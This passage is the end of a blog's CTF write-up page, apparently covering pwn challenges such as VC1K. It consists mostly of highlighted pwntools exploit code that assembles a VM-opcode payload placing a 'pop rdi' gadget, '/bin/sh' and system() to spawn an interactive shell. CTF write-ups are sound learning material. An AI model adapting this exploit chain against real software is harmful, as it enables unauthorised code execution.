style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">38</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Pop Rdi lo</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">40</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># /bin/sh lo</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># /bin/sh mid</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">5</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># System lo</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">6</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">58</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># System mid</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_load_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_store_alt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># End</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> opcode_halt</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Run</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">assert</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">len</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">8000</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">p.send</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">p16</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">len</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">//</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> payload</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">######################################################################################</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">p.interactive</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br></code></pre></div></article><nav aria-label="文章目录" id="article-toc" class="toc"><div class="toc-title">目录</div><ul class="toc-list"><li class="toc-item toc-l2"><a href="#drywall">DryWall</a></li><li class="toc-item toc-l2"><a href="#takenote">TakeNote</a></li><li class="toc-item toc-l2"><a href="#labgrown">LabGrown</a></li><li class="toc-item toc-l2"><a href="#vc1k">VC1K</a></li></ul></nav></main></div><footer class="footer"><div class="footer-row footer-links"><span class="footer-label">保持联系</span><a href="mailto:xzy1476569428@163.com" class="footer-link">xzy1476569428@163.com</a><span aria-hidden="true" class="footer-separator">·</span><a href="/rss.xml" class="footer-link">RSS</a><span aria-hidden="true" class="footer-separator">·</span><a href="https://github.com/LittFlower/my_blog" class="footer-link">GitHub</a></div><div class="footer-row footer-meta"><span>本站基于 <a href="https://github.com/unvariant/blog">unvariant/blog</a> 改造，除特别说明外内容以 CC BY 4.0 协议共享。</span></div></footer></body></html>